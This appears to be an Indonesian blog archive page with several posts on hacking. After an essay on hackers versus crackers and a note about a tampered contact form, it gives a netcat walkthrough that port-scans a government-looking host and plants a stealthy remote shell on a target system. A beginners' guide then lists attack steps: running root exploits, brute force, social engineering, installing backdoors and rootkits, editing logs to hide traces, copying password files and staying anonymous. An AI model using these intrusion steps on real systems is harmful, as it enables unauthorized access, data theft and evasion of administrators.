Monday, March 31, 2008

Hacker or Cracker

Jangan dulu punya anggapan buruk dengan yang namanya Hacker, karena kamu mesti tahu seperti apa Hacker sejati itu. Masalahnya, ada sekelompok orang yang menyebut-nyebut dirinya sebagai Hacker padahal mereka itu adalah seorang Cracker. Hacker sejati sebenarnya tidak sejahat (atau bahkan tidak jahat sama sekali) seperti yang kebanyakan dipikirkan orang. Mereka terdiri dari para programer yang ahli jaringan. Mereka jugalah yang berjasa membangun Internet lewat pengembangan sistem operasi UNIX.
Para Hacker selalu bekerjasama secara sukarela menyelesaikan masalah dan membangun sesuatu. Mereka selalu berbagi informasi, memberi jawaban serta berlomba-lomba untuk berbuat yang terbaik agar dihormati di lingkungannya. Mereka tidak pernah berhenti belajar untuk menjadi ahli dan sangat anti untuk melakukan sesuatu berulang-ulang dan membosankan. Mereka berpedoman pada kata-kata bijak : “Untuk mengikuti jalan - pandanglah sang ahli - ikuti sang ahli - berjalan bersama sang ahli - kenali sang ahli -jadilah sang ahli ”Sementara itu, para cracker sibuk untuk memuaskan diri mereka dengan aktivitas Cracking. mulai dari membobol komputer, menebar virus, hingga mengakali telepon (Phreaking). Para Hacker menyebut mereka sebagai orang malas yang tidak bertanggung jawab. Jadi, sangat tidak adil jika kita tetap menganggap bahwa Hacker itu jahat dan menakutkan karena sangat jelas bahwa Hacker bersifat membangun sementara Cracker bersifat membongkar.

Ingin jadi seorang Hacker?? Tidak ada kata sulit bagi mereka yang mau belajar. Untuk menjadi seorang hacker kamu harus menguasai beberapa bahasa pemrograman dan tentu saja sikap-sikap yang bisa membuat kamu diterima di lingkungan mereka. Biasanya calon hacker memulai dengan belajar bahasa [Python] karena bahasa ini tergolong bahasa pemrograman yang termudah. Bahasan mengenai bahasa ini bisa kamu lihat di www.python.org. Setelah itu kamu juga harus menguasai [java] yang sedikit lebih sulit akan tetapi menghasilkan kode yang lebih cepat dari Python, [C], [C++] yang menjadi inti dari UNIX, dan [Perl] (www.perl.com ) serta [LISP] untuk tingkat lanjut.

Setelah menguasai semua kemampuan dasar diatas, calon hacker disarankan untuk membuka salah sati versi UNIX open-source atau mempelajari LINUX, membaca kodenya, memodifikasi dan menjalankannya kembali. Jika mengalami kesulitan, disarankan untuk berkomunikasi dengan club pengguna Linux [ www.linpeople.org]

Sisi menarik dari seorang hacker adalah dimana mereka saling bahu-membahu dalam menyelesaikan sebuah masalah dan membangun sesuatu. Tetapi sayangnya, kehidupan mereka yang menghabiskan 90% waktunya untuk aktivitas Hacking bukanlah hal yang baik. Kalau memang benar-benar ingin jadi hacker, jadilah hacker yang baik dengan memanfaatkan Teknologi Informasi

teknik Blind Guessing.

This summary is not available. Please click here to view the post.

Bolanova, Kontactr Dan Kemungkinan Di Hack

Pagi ini saya mendapat email yang cukup menyeramkan:

- - -

Greetings–

FLO thinks this will be of interest to you:

Tentang BN

http://bolanova.com/about/

Enjoy.


http://bolanova.com

- - -

Hati saya langsung dag dig dug setelah membacanya. Lalu saya cek halaman tentang bolanova, dan ternyata benar, ada yang janggal. Di bagian contact form, yang saya gunakan dari kontactr.com, ada yang hilang. Tombol SEND nya telah hilang!

Kok bisa?

Apakah Kontactr masih ada celah yang bisa dimanfaatkan oleh hacker untuk menutupi tombol SEND tersebut? Atau control panel bolanova-nya yang berhasil disusupi? Kalau kemungkinan kedua pasti tidak mungkin. Untuk apa seorang hacker hanya menjaili form kontak Kontactr? Pasti ada script yang disisipi ketika mengirim pesan dan pada saat contact form melakukan redirect page, script tersebut berhasil jalan dan melakukan perbuatan jahatnya.

Anyway, saya kembali meng-copy script dari kontactr dan fasilitas kontak form bisa dipakai kembali. Kemudian saya cek ke blog kontactr, ada tulisan tentang redirect page.

- - -

No more Redirect page

We are happy to inform you about a new feature at Kontactr.

So far, a user needs to specify a redirect page for Embedded contact forms. This made it impossible for users to use the form on different sites, since one form cannot redirect to a Thank-you page on another site. So we have removed that feature and made our system automatically detect the page from which the form is submitted. After submitting, the user will be redirected back to the page he was on. This reduces the work on your part and also adds the ability for the form to be used on many different sites.

Feel free to share your opinions about this in the comments.

- - -

Atau kemungkinan diatas bukan jawabannya? Saya akan mencari tahu lagi lebih lanjut.

Necat, Tools Andalan Hacker

Cara pakai netcat

Pada DOS console windows, netcat dijalankan dengan mengetikkan:

C:\> nc –opsi

Dapat juga pada console netcat dengan mengetikkan:

C:\> nc
Cmd line: -opsi

Untuk mengetahui opsi lengkapnya dapat menggunakan help sebagai berikut:


C:\TMP\NETCAT>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

C:\TMP\NETCAT>

Mari kita coba kemampuan netcat untuk mengambil header suatu situs web yang biasanya terdapat banyak informasi awal dari sistem target sebagai berikut:

C:\TMP\NETCAT>nc -v 128.1.9.81 80
adminristek [128.1.9.81] 80 (http) open
header/http

Method Not Implemented

header/http to /index.html not supported.


Invalid method in request header/http



Apache/1.3.12 Server at adminristek.bppn.go.id Port 80



C:\TMP\NETCAT>

Dari contoh di atas Anda dapat melihat nomor Ip sistem target, jenis sistem operasinya dan juga sistem aplikasi yang dipergunakan (Apache).

Pada bab sebelumnya juga telah dijelaskan bagaimana netcat dapat dipergunakan sebagai port scanner untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:

C:\TMP\NETCAT>nc -v -z 128.1.9.81 10-140
adminristek [128.1.9.81] 139 (netbios-ssn) open
adminristek [128.1.9.81] 113 (auth) open
adminristek [128.1.9.81] 110 (pop3) open
adminristek [128.1.9.81] 98 (?) open
adminristek [128.1.9.81] 80 (http) open
adminristek [128.1.9.81] 79 (finger) open
adminristek [128.1.9.81] 25 (smtp) open
adminristek [128.1.9.81] 23 (telnet) open
adminristek [128.1.9.81] 21 (ftp) open

C:\TMP\NETCAT>


Pada contoh berikut ini merupakan salah satu kehebatan netcat yang juga sangat banyak dimanfaatkan oleh para hacker untuk mengambil alih sistem target. Caranya adalah menjadikan sistem target sebagai server telnet sebagai berikut:

Pada sistem target lakukan langkah sebagai berikut:

C:\NETCAT> nc –L –p 23 –d –e command.com
C:\NETCAT>

Opsi –L merupakan mode listening, opsi –p menujukkan koneksi dilakukan via port 23 dan Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh firewall. Opsi berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan secara tersembunyi atau stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk dipergunakan koneksi telnet yang masuk dan Anda dapat mengganti dengan perintah lainnya.

Selanjutnya untuk mengambil alih sistem target, Anda cukup memanggil telnet dari komputer Anda.

C:\> telnet 128.1.71.63

Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.

C:\NETCAT>dir

Anda sudah masuk ke dalam sistem target dengan diberikan prompt DOS milik sistem target ! Anda tinggal berjalan-jalan di dalam sistrem target seolah-olah adalah komputer Anda sendiri tanpa disadari oleh sang pemiliknya. Perintah apapun dapat Anda lakukan secara remote seperti dir, copy, delete dan sebagainya.

C:\NETCAT>dir
dir

Volume in drive C has no label
Volume Serial Number is 0C42-12EA
Directory of C:\NETCAT

.
01-04-02 11:48a .
..
01-04-02 11:48a ..
DOEXEC C 12,039 11-28-97 2:48p DOEXEC.C
GENERIC H 7,283 07-09-96 4:01p GENERIC.H
GETOPT C 22,784 11-06-96 10:40p GETOPT.C
GETOPT H 4,765 11-03-94 7:07p GETOPT.H
HOBBIT TXT 61,780 02-06-98 3:50p HOBBIT.TXT
MAKEFILE 544 11-28-97 2:36p MAKEFILE
NC EXE 59,392 01-03-98 2:37p NC.EXE
NETCAT C 69,081 01-04-98 3:17p NETCAT.C
README TXT 6,771 02-06-98 5:53p README.TXT
9 file(s) 244,439 bytes
2 dir(s) 353,669,120 bytes free

C:\NETCAT>

Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk mendownload data dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda ke sistem target. Dengan netcat Anda dapat melakukan dengan mudah sebagai berikut:

Pada sistem target ketikkan perintah:

Nc –l –p 55555 <> namafile.pdf
NOTERIST [128.1.71.63] 55555 (?) open
^C

Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering disebut metode pull. Jika Anda ingin mengirim file atau upload data dari komputer Anda ke sistem target, maka yang perlu dilakukan adalah sebagai berikut:

Pada sistem target ketikkan perintah:

Nc –l –p 55555 > namafile2.pdf

Pada komputer Anda yang akan mengirim atau upload file ke sistem target ketikkan perintah:

Nc 128.1.71.63 55555 <>
nc Wait for the user to type what would normally be command-line arguments in at stdin.
nc example.host 42 Open a TCP connection to port 42 of example.host. If the connection fails, do not display any error messages, but simply exit.
nc -p 31337 example.host 42 Open a TCP connection to port 42 of example.host, and use port 31337 as the source port.
nc -w 5 example.host 42 Open a TCP connection to port 42 of example.host, and time out after five seconds while attempting to connect.
nc -u example.host 53 Send any data from stdin to UDP port 53 of example.host, and display any data returned.
nc -s 10.1.2.3 example.host 42 Open a TCP connection to port 42 of example.host using 10.1.2.3 as the IP for the local end of the connection.
nc -v example.host 42 Open a TCP connection to port 42 of example.host, displaying some diag- nostic messages on stderr.
nc -v -v example.host 42 Open a TCP connection to port 42 of example.host, displaying all diag- nostic messages on stderr.
nc -v -z example.host 20-30 Attempt to open TCP connections to ports 20 through 30 of example.host, and report which ones nc was able to connect to.
nc -v -u -z -w 3 example.host 20-30 Send UDP packets to ports 20-30 of example.host, and report which ones did not respond with an ICMP packet after three seconds.
nc -l -p 3000 Listen on TCP port 3000, and once there is a connection, send stdin to the remote host, and send data from the remote host to stdout.
echo foobar nc example.host 1000 Connect to port 1000 of example.host, send the string "foobar" followed by a newline, and move data from port 1000 of example.host to stdout until example.host closes the connection.

Hacking buat pemula

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp....


Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, 'ngudek-ngudek' sampai ke 'jeroannya'. Sesuatunya apa dong? ya terserah... bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe... Walaupun saat ini hacking identik dengan 'bobol-membobol', tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang 'Hacking is Art', trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan....


Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan... Apalagi klo di kost ada jaringan.

Okeh, sekarang waktunya melakukan aksi...


1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

- Secara Aktif : - portscanning

- network mapping

- OS Detection

- application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat


- Secara Pasif : - mailing-list (jasakom, newbie_hacker, hackelink, dsb)

- via internet registries (informasi domain, IP Addres)

- Website yang menjadi terget


2. Fase Eksekusi

~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milis bugtraq, atau mencari lewat #IRC).

~ Mengekspolitasi Vulnerability Holes

- compile eksploit -> local host -> $gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.terget.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

- Secara berulang melakukan percobaan otentifikasi.

- Menebak username dan password.

- Cracking password file


~ Social Engineering

- Memperdayai user untuk memeberi tahu Username dan password

- Intinya ngibulin user....


3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd



Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Selanjutnya terserah anda.........

Referensi :http://students.ee.itb.ac.id/~achai/H3ck/HackBuatPemula.html